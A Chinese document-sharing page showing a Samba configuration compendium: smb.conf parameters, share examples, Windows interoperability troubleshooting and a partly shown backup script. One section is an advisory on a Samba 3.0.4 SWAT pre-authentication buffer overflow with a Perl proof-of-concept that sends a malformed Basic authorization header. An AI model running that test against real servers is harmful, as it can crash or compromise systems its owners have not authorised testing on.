收藏 分销(赏)

Samba服务器配置资料大全.docx

上传人:xrp****65 文档编号:8921892 上传时间:2025-03-08 格式:DOCX 页数:36 大小:41.55KB 下载积分:10 金币
下载 相关 举报
Samba服务器配置资料大全.docx_第1页
第1页 / 共36页
Samba服务器配置资料大全.docx_第2页
第2页 / 共36页


点击查看更多>>
资源描述
Samba服务器配置资料大全 目录 Samba服务器配置资料大全 1 1 Samba服务器配置文件 2 1.1 (1) 全局参数 2 1.2 (2) 资源共享的选项 5 1.3 (3) 特殊变量 7 1.4 文件实例: 7 2 Samba 3.x SWAT预验证远程缓冲区溢出漏洞 8 3 Samba和Windows 的密码处理认证方式 10 4 linux—windows互联实战经历 10 5 Samba3.0服务器实战调试 12 6 SMB的扩展应用 16 7 Smaba配置文件详细分析(二) 22 1 Samba服务器配置文件 /etc/samba/smb.conf 功能: 设置samba服务器选项和共享资源的设置 文件格式: #说明语句 [global] //定义samba服务器的全局选项 …… 全局参数=值 …… [homes] //共享用户主目录 …… 资源共享参数=值 …… [printers] // 打印机共享 …… 资源共享参数=值 …… [public] //共享目录设置 …… 资源共享参数=值 …… 以上声明为系统自带的声明,用户也可以根据实际需要定义共享目录: [自定义] //自定义的共享 …… 资源共享参数=值 …… 说明: 1.1 (1) 全局参数 基本全局参数: Workgroup=域名/工作组名 功能:设定samba服务器所属工作组/域的名称) Netbios name=主机名称 功能:设置samba服务器的netbios名称 Server string=字符串 功能:设置samba服务器的描述 interfaces=接口名/ip地址 功能:设置samba服务器的ip地址,如果不想使用默认IP地址或者想同时使用多个IP地址,可以设置这个选项 client code page=850/936 功能:设定客户端存取samba服务器的资源时所使用的字符编码表 实例:client code page=936 安全设置参数: admin users=用户名 功能:设置管理员账号 socket address=ip地址 功能:指定samba服务器监听的ip地址 security=user/share/domain/server 功能:设置samba的共享安全级别 注意:share //表示共享级访问,服务器不对客户机进行身份验证 user //表示用户级访问 server //表示服务器级访问,被访问的samba服务器请求另一台samba服务器对客户机进行身份验证 domain //表示域级访问,由域控制器对客户机进行身份验证 password server=ip址址/主机名 功能:指定密码服务器的位置,当security值为server/domain必须设置该参数 encrypt passwords=yes/no 功能:指定是否使用加密口令 注意:对于windows客户机来说,该选项应该设置为yes restrict anonymous=true/false 功能:指定服务器是否允许win NT/2000以匿名方式登录 实例:restrict anonymous=false smb passwd file=文件路径 功能:指定samba用户密码的文件位置 实例:smb passwd file=/etc/samba/smbpasswd map to guest=never/bad user/bad password 功能:设置当用户所输入的用名和密码不正确时的处理方式 注意:该选项只有security=share时才有效,该选项可以取以下三种值: never 表示拒绝使用任何资源 bad user 表示用户输入用户名正确,但密码错误时,可以允许以guest登录 bad password 表示用户输入的用户名和口令都错误时,可以允许以guest登录 username map=文件路径 功能:指定SMB用户名与LINUX用户名映射文件的路径 实例:username map=/etc/samba/smbusers guest account=用户名 功能:指定来宾账号的名称,默认为nobody hosts allow= ip地址/主机名/域名 功能:设置允许访问的客户机 hosts deny=ip地址/主机名/域名 功能:设置禁止访问的客户机 打印机设置参数: printcap name=路径 功能:设定打印机的配置文件的位置 实例:printcap name=/etc/printcap load printers =yes/no 功能:设定是否自动装载打印机的装载文件,当要做打印服务器时必须设置为yes printing = /cups/bsd/lprng/sysv 功能:设置打印机相关指令时所采取的模式 实例:printing=lprng printer name=名称 功能:设置打印机的名称 日志设置参数: log file=路径 功能:定义日志文件的位置 实例:log file=/var/log/samba/%m.log max log size=数字 功能:定义日志文件的最大千字节 运行效率参数: change notify timeout=数字 功能:设置服务器周期性异常通知 实例:change notify timeout=90 deadtime=数字 功能:客户端无操作多少分钟后服务器中断连接 实例:deadtime=10 getwd cache=yes/no 功能:是否启用cache功能 keepalive=数字 功能:服务器每隔多少秒向客户端发送keepalive包用于确认客户端是否工作正常 max open files=数字 功能:同一个客户端最多能打开的文件数目 实例:max open files=1000 wins设置参数: wins support=yes/no 功能:是否支持wins解析 实例:wins support=yes wins server=服务器 功能:指定wins服务器的位置 实例:wins server=192.168.0.2 wins proxy=yes/no 功能:设置samba服务器是否支持wins代理功能 实例:wins proxy=yes 1.2 (2) 资源共享的选项 基本参数 : comment=说明语句 功能:对共享资源的说明 path=路径 功能:共享资源的路径 访问控制参数: browseable=yes/no 功能:是否可以浏览共享目录,默认为yes printable =yes/no 功能:设置客户机是否可以使用共享打印机打印 avalidable=yes/no 功能:设置共享资源是否可用 实例:avalidable=yes public=yes/no 功能:设置共享资源是否允许所有用户访问,除guest用户以外 guest ok =yes/no 功能:设置是否允许guest用户访问共享资源 guest only=yes/no 功能:设置共享目录只允许guest用户访问 read only=yes/no 功能:访问用户对共享资源只读 valid users=用户名/@组名 功能:设定指定允许访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@ 实例:valide users=u1,u2,@g1 invalid users=用户名/@组名 功能:设定指定禁止访问共享资源的用户/组,多用户名用逗号分开,指定组时要在组名前加@ create mode=权限值 功能:指定客户机在共享目录中创建文件的默认权限,默认权限为744 directory mode =0775 功能:指定客户机共享目录中创建文件目录的默认权限,默认权限为755 writable=yes/no 功能:指定共享的路径是否可写 write list=用户名/@组名 功能:设定允许读写共享目录的用户列表 实例:write list=abc,@g2 read list=用户名/@组名 功能:设定只读访问用户列表 实例:read list=abc,@cuo 自动执行参数: preexec=路径 功能:指定客户机连接时要自动执行文件 postexec=路径 功能:指定客户机断开连接时要自动执行的文件 root preexec=路径 功能: 指定客户机连接时要以ROOT用户身份自动执行的文件 实例:root preexec=/bin/mount /dev/cdrom root postexec=路径 功能:指定客户机断开连接时要以ROOT用户身份自动执行的文件 实例:root postexec=/bin/umount /dev/cdrom 1.3 (3) 特殊变量 %S(大写): 当前服务名 %P(大写): 当前服务的根目录 %u: 当前服务的用户名 %h: samba服务器的主机名 %m: 客户机的NETBIOS名 %L samba服务器的netbios名 %v samba版本号 %g 给定%u的所在的主工作组名 %H 给定的%u的宿主目录 %T 当前日期和时间 1.4 文件实例: 根据以下要求/etc/samba/smb.conf文件: n 设置samba服务器的工作组名为linuxgroup,NETBIOS名为linux n 设置samba服务器的访问模式为share n 共享/soft目录,共享名为soft,该共享目录允许所有的用户读写操作 #vi /etc/samba/smb.conf 修改内容如下: [global] Workgroup=linuxgroup Netbios name=linux ……… Security=share ……… [homes] ……… ……… [printers] ……… ……… [soft] //添加如下这个声明 comment=applic soft shared path=/soft browseable=yes writable=yes guest ok=yes public=yes 2 Samba 3.x SWAT预验证远程缓冲区溢出漏洞 严重程度:高 威胁程度:远程管理员权限 错误类型:边界检查错误 利用方式:服务器模式 CVE(CAN) ID:CAN-2004-0600 受影响系统 Samba 3.0.2 Samba 3.0.3 Samba 3.0.4 详细描述 SWAT是Samba Web管理工具。 Samba SWAT服务预验证存在缓冲区溢出问题,远程攻击者可以利用这个漏洞在系统上以SWAT进程权限执行任意指令。问题存在于source/lib/util_str.c文件中的进行HTTP Basic验证的base64_decode_data_blob函数中. 测试代码 #!/usr/bin/perl # Samba 3.0.4 and prior's SWAT Authorization Buffer Overflow # Created by Noam Rathaus of Beyond Security Ltd. # use IO::Socket; use strict; my $host = $ARGV[0]; my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host, PeerPort => "901" ); unless ($remote) { die "cannot connect to http daemon on $host" } print "connected\n"; $remote->autoflush(1); my $http = "GET / HTTP/1.1\r Host: $host:901\r User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7) Gecko/20040712 Firefox/0.9.1\r Accept: text/xml\r Accept-Language: en-us,en;q=0.5\r Accept-Encoding: gzip,deflate\r Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r Keep-Alive: 300\r Connection: keep-alive\r Authorization: Basic =\r \r "; print "HTTP: [$http]\n"; print $remote $http; sleep(1); print "Sent\n"; while (<$remote>) { print $_; } print "\n"; close $remote; 解决方案 下载升级程序: Samba 3.0.5: http://www.samba.org/samba/whatsnew/samba-3.0.5.htm 相关信息 3 Samba和Windows 的密码处理认证方式 因为两者的密码处理认证方式不同,所以导致输入正确的密码时还是无法通过。 以 Windows 98 来说,系统预设是使用 encrypt 编码的方式,而 samba则是预设使用 text 明码的方式。所以说解决的方式有: 方法一: 把 smb.conf 档案内的 encrypt passwords 改成 = yes : encrypt passwords = yes smb passwd file = /etc/smbpasswd 然后使用 smbpasswd -a xxxx 建立主机上 xxxx user 的 存取密码。往后 windows 98 就使用这个密码即可。 请注意你改的登录要先恢复原状。此方式使用编码的密码 方式来存取。 方法二: 找 /usr/doc/sambaX-XXXX/docs 目录的 .reg 登录档案, 在 windows 98 把该档案汇入系统后即可。让大家是是使用 为明码的方式来存取即可。 4 linux—windows互联实战经历   本人刚连接完linux和windows98、me、2000、2kserver互联实践,走了不少弯路,现将一些感想和本人所碰到的一些故障现象作一下笔记,以方便初手: 一、samba 首先要知道samba是一组 程序,他让你的linux机器懂得smb协议。在运行samba服务器程序的时候,你的linux机器在网络邻居中看起来如同一台windows的机器。 二、我的配置过程 1、修改smb.conf 我选的是系统默认安装的samba,但系统启动完后,发现samba没有启动,(#ps -axf | grep smb),手动启动(#/etc/rc.d/init.d/smb restart) 修改 /etc/samba/smb.conf 有些书上说是/etc/smb.conf 我也不知道为什么,可能是版本差异吧。 我就修改了 [global]组的: workgroup = JD (我的工作组名是JD) netbios name = vmlinux security = user (采用用户方式验证) encrypt passwords = no (我采用的是明文密码验证) smb passwd file = /etc/smbpasswd (设置smb密码文件的位置) [public] (把[public]组前面的“;”全拿掉 path = /pub (共享pub目录) 我就修改了这些,其他就是把#开头的段全删了(碍眼) 2、添加相应目录和用户 #mkdir pub (添加/pub目录) #adduser test (添加test用户)注:现在添加的只是linux本机用户,并没用添加smb用户,换句话说,test现在不能通过网络访问这台linux主机。 #passwd test (设置test用户密码) #vi /etc/passwd (把一些你不用或者你不知道的用户全删了) # cat /etc/passwd | mksmbpasswd.sh > /etc/smbpasswd (把linux本机用户加到smb用户里去) #smbpasswd test (设置test用户的smb访问口令) #/etc/rc.d/init.d/smb restart (重启samba) ok ,linux主机上我就设了这些,下面开始测试 2、测试linux smb(在本机上测试) #smbclient -L //vmlinux (先用smbclient测试本机smb是否工作正常,应能看到/root /public这些目录) #smbclient \\\\vmlinux\\root (现在连接目录,提示输入密码,你自己知道) 这样的话,linux机器互访应该没问题了。 注意:#vi /etc/hosts (添加win98\me\2000机器的ip和主机名,看看有没有自己的,没有的话也填上) 测试windows的机器前先 找到/usr/share/doc/sambaX-XXXX/docs 下*.reg文件 导入windows的机器,我发现这个还能解决win2000的机器互访winme、98时常常出现的怪病,现在2k和98在局域网里访问都正常的要死。 3、测试win98、me 现在能在win98 、me的网上邻居里看到linux机器名了,点击,倒,什么?提示要什么IPC$密码!!! 解决方法:控制面板—用户密码—添加test用户(刚才在smb里面添加的那个用户)重启,用这个用户名登陆,现在再访问,应该没问题了(至少我是ok了) 4、测试win2000 1台(win2k1)提示:请输入用户名和密码(然后你打什么用户名和密码都没用) 另一台(win2k2)提示:此账户未得到从这个工作站登陆的许可 再倒! 解决方法:发现win2000虽然是用的test用户名和密码,但是现在登陆在win2000的域里,我在win2000本机里添加test用户,然后用test登陆本机,访问linux机器,现在正常了。 5 Samba3.0服务器实战调试 fedora预装的samba已经是samba-3.0.0-15,功能已经非常强大了,今天我们调试的重点不是samba3.0的新功能,我们还是先来实现他的基本功能,文件共享服务,至于域控制器功能我会在以后的调试手记中阐述。 我们今天要实现的环境是,假如公司有财务,技术,领导3个部门,我们分别为3个部门建立3个用户组为caiwu,network,lingdao; 三个部门里各有2个用户,我们建用户分别为caiwu01,caiwu02,network01,network02,lingdao01,lingdao02 然后我们分别就公司的具体情况建立相应的目录及访问权限,通过以下的例子,希望大家能在平时的工作中灵活的应用samba的安全权限来设置你们的samba文件服务器。 1。首先服务器采用用户验证的方式,每个用户可以访问自己的宿主目录,并且只有该用户能访问宿主目录,并具有完全的权限,而其他人不能看到你的宿主目录。 2。建立一个caiwu的文件夹,希望caiwu组和lingdao组的人能看到,network02也可以访问,但只有caiwu01有写的权限。 3。建立一个lindao的目录,只有领导组的人可以访问并读写,还有network02也可以访问,但外人看不到那个目录 4。建议一个文件交换目录exchange,所有人都能读写,包括guest用户,但每个人不能删除别人的文件。 5。建议一个公共的只读文件夹public,所有人只读这个文件夹的内容。 好,我们先来前期的工作 #groupadd caiwu #groupadd network #groupadd lingdao #useradd caiwu01 -g caiwu #useradd caiwu02 -g caiwu #useradd network01 -g network #useradd network02 -g network #useradd lingdao01 -g lingdao #useradd lingdao02 -g lingdao 然后我们使用smbpasswd -a caiwu01的命令为6个帐户分别添加到samba用户中 #mkdir /home/samba #mkdir /home/samba/caiwu #mkdir /home/samba/lingdao #mkdir /home/samba/exchange #mkdir /home/samba/public 我们为了避免麻烦可以在这里把上面所有的文件夹的权限都设置成777,我们通过samba灵活的权限管理来设置上面的5点要求。 以下是我的smb.conf的配置文件 [global] workgroup = bmit #我的网络工作组 server string = Frank's Samba File Server #我的服务器名描述 security = user #使用用户验证机制 encrypt passwords = yes smb passwd file = /etc/samba/smbpasswd #使用加密密码机制,在win95和winnt使用的是明文 其他的基本上可以按照默认的来。 [homes] comment = Home Directories browseable = no writable = yes valid users = %S create mode = 0664 directory mode = 0775 #homes段满足第1条件 [caiwu] comment = caiwu path = /home/samba/caiwu public = no valid users = @caiwu,@lingdao,network02 write list = caiwu01 printable = no #caiwu段满足我们的第2要求 [lingdao] comment = lingdao path = /home/samba/lingdao public = no browseable = no valid users = @lingdao,network02 printable = no #lingdao段能满足我们的第3要求 [exchage] comment = Exchange File Directory path = /home/samba/exchange public = yes writable = yes #exchange段基本能满足我们的第4要求,但不能满足每个人不能删除别人的文件这个条件,即使里设置了mask也是没用,其实这个条件只要unix设置一个粘着位就行 chmod -R 1777 /home/samba/exchange 注意这里权限是1777,类似的系统目录/tmp也具有相同的权限,这个权限能实现每个人能自由写文件,但不能删除别人的文件这个要求 [public] comment = Read Only Public path = /home/samba/public public = yes read only = yes #这个public段能满足我们的第5要求。 到此为止我们的设置已经能实现我们的共享文件要求,记得重启服务哦 #/etc/rc.d/init.d/smb restart 如果大家没有winodws,不妨先用samba的cilent端命令来测试一下 命令的用法我在这里只举几个例子,具体的大家去试验 smbclient -L 服务器ip -N guest帐户查询你的服务器的samba共享情况,你可以检验一下是否lingdao目录时候能被guest帐户看到,应该是看不到的,当然你也可以以某个用户的名义查看 smbclient -L 服务器ip -U caiwu01 系统会提示密码,只要输入smb密码就行。 smbclient //服务器ip/caiwu -U caiwu01 #以caiwu01用户的名义登录caiwu目录 smbmount //服务器ip/caiwu /mnt/caiwu -o username=caiwu01 #把服务器的财务目录映射到本地的/mnt/caiwu目录 关于samba的其他用法我会在后续的文章中继续,请大家等待! 参考资料 Samba 配置 http://www.linuxfocus.org/ChineseGB/March2002/article177.shtml O'Reilly 线上书籍: Samba3.0轻松搞定PDC域服务器 6 SMB的扩展应用   在Linux风行的今天,与Windows机器相互共享文件已经是非常普遍的应用了,关于samba的设置的文档也相当的多,本站也有不少了。不过在使用它的高级功能方面还是比较欠缺的,这类文档是非常稀有的,而且只有英文版的,为了方便国内的Linux用户,我将这些文档整理一下,翻译过来,并结合自己一些经验,为大家提供一些帮助。   注:这篇文章并不是一篇关于如何配置samba的基础文档,而是需要阅读者有一定的Linux使用经验,熟悉脚本语言,并且对samba有一定的使用经验。主要是针对于一些企业的Linux网管,或比较有经验的Linux爱好者。   这篇文章也其说是文章,不如说是一个技巧提示,但是我个人觉得它意义非常大,特别是对于大中型企业的用户来讲,它可能非常重要。   它主要描述了如果在Linux下使用samba来为使用Windows系统的机器作备份,并且描述了如何跨子网共享samba。 1、将Windows机器备分到一台Linux主机上   Adam Neat(adamneat@.au),向我们提供了以下一段代码,它描述了如何使用smbclient软件包将windows机器备份到Linux主机上。Adam说它可以用来备份windows 3.x和NT机器到一台Linux的磁带机上。   另一段代码,是Dan Tager (dtager@),提供的,Dan的脚本是通过rsh来备份Unix机器,尽管它可以修改成ssh以便使其更简单些。   在下面这个脚本中,字符串“agnea1”是作备份工作的Linux主机的一个用户名。 #!/bin/bash clear echo Initialising ... checkdate=`date | awk '{print $1}'` if [ -f "~agnea1/backup-dir/backup-data" ]; then echo "ERROR: No config file for today!" echo "FATAL!" exit 1 fi if [ -d "~agnea1/backup-dir/temp" ]; then echo "ERROR: No tempoary directory found!" echo echo "Attempting to create" cd ~agnea1 cd backup-dir mkdir temp echo "Directory Made - temp" fi if [ "$1" = "" ]; then echo "ERROR: enter in a machine name (ie: cdwriter)" exit 1 fi if [ "$2" = "" ]; then echo "ERROR: enter in a SMB (Lan Manager) Resource (ie: work)" exit 1 fi if [ "$3" = "" ]; then echo "ERROR: enter in an IP address for $1 (ie: 130.xxx.xxx.52)" exit 1 fi ######################################################### # Main Section # ######################################################### cd ~agnea1/backup-dir/temp rm -r ~agnea1/backup-dir/temp/* cd ~agnea1/backup-dir/ case "$checkdate" in Mon) echo "Backuping for Monday" cat backup-data | /usr/local/samba/bin/smbclient $1$2 -I$3 -N echo "Complete" if [ -d "~agnea1/backup-dir/Monday" ]; then echo "Directory Monday Not found ... making" mkdir ~agnea1/backup-dir/Monday fi echo "Archiving ..." cd ~agnea1/backup-dir/temp tar -cf monday.tar *echo "done ..." rm ~agnea1/backup-dir/Monday/monday.tar mv monday.tar ~agnea1/backup-dir/Monday ;; Tue) echo "Backuping for Tuesday" cat backup-data | /usr/local/samba/bin/smbclient $1$2 -I$3 -N echo "Complete" if [ -d "~agnea1/backup-dir/Tuesday" ]; then echo "Directory Tuesday Not found ... making" mkdir ~agnea1/backup-dir/Tuesday fi echo "Archiving ..." cd ~agnea1/backup-dir/temp tar -cf tuesday.tar * echo "done ..." rm ~agnea1/backup-dir/Tuesday/tuesday.tar mv tuesday.tar ~agnea1/backup-dir/Tuesday ;; Wed) echo "Backuping for Wednesday" cat backup-data | /usr/local/samba/bin/smbclient $1$2 -I$3 -N echo "Complete" if [ -d "~agnea1/backup-dir/Wednesday" ]; then echo "Directory Wednesday Not found ... making" mkdir ~agnea1/backup-dir/Wednesday fi echo "Archiving ..." cd ~agnea1/backup-dir/temp tar -cf wednesday.tar * echo "done ..." rm ~agnea1/backup-dir/Wednesday/wednesday.tar mv wednesday.tar ~agnea1/backup-dir/Wednesday ;; Thu) echo "Backuping for Thrusday" cat backup-data | /usr/local/samba/bin/smbclient $1$2 -I$3 -N echo "Complete" if [ -d
展开阅读全文

开通  VIP会员、SVIP会员  优惠大
下载10份以上建议开通VIP会员
下载20份以上建议开通SVIP会员


开通VIP      成为共赢上传

当前位置:首页 > 包罗万象 > 大杂烩

移动网页_全站_页脚广告1

关于我们      便捷服务       自信AI       AI导航        抽奖活动

©2010-2025 宁波自信网络信息技术有限公司  版权所有

客服电话:4009-655-100  投诉/维权电话:18658249818

gongan.png浙公网安备33021202000488号   

icp.png浙ICP备2021020529号-1  |  浙B2-20240490  

关注我们 :微信公众号    抖音    微博    LOFTER 

客服